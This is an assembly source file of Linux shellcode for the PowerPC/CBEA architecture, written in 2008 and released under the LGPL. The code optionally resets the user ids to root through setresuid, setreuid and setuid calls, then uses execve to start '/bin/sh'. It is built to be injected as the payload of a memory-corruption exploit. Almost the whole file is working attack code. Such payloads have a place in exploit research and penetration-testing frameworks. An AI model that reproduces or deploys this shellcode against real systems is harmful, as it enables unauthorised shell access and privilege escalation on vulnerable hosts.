83 lines
2.0 KiB
ArmAsm
83 lines
2.0 KiB
ArmAsm
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/*
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* $Id: lin-power-shellcode.S 40 2008-11-17 02:45:30Z ramon $
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*
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* lin-power-shellcode.S - Linux Power/CBEA shellcode
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* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
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*
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* This library is free software; you can redistribute it and/or
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* modify it under the terms of the GNU Lesser General Public
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* License as published by the Free Software Foundation; either
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* version 2.1 of the License, or (at your option) any later version.
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*
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* This library is distributed in the hope that it will be useful,
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* but WITHOUT ANY WARRANTY; without even the implied warranty of
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* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
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* Lesser General Public License for more details.
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*
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* You should have received a copy of the GNU Lesser General Public
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* License along with this library; if not, write to the Free Software
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* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
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*
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*/
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/*
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* Compile with the following command.
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* $ gcc [-DALL] -Wall -o lin-power-shellcode lin-power-shellcode.S
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*
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*/
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#include "linux-power.h"
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.globl main
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main:
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#ifdef ALL
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setresuidcode:
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lil %r31,__CAL
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xor %r5,%r5,%r5
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xor %r4,%r4,%r4
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xor %r3,%r3,%r3
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cal %r0,__NC_setresuid(%r31)
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.long 0x44ffff02
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setreuidcode:
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lil %r31,__CAL
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xor %r4,%r4,%r4
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xor %r3,%r3,%r3
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cal %r0,__NC_setreuid(%r31)
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.long 0x44ffff02
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setuidcode:
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lil %r31,__CAL
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xor %r3,%r3,%r3
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cal %r0,__NC_setuid(%r31)
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.long 0x44ffff02
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#endif
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shellcode:
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lil %r31,__CAL
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xor. %r5,%r5,%r5
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bnel shellcode
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mflr %r30
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cal %r30,511(%r30)
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cal %r3,-511+36(%r30)
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stb %r5,-511+43(%r30)
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stu %r5,-4(%r1)
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stu %r3,-4(%r1)
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mr %r4,%r1
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cal %r0,__NC_execve(%r31)
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.long 0x44ffff02
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.asciz "/bin/sh"
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#ifdef ALL
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exitcode:
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lil %r31,__CAL
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xor %r3,%r3,%r3
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cal %r0,__NC_exit(%r31)
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.long 0x44ffff02
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#endif
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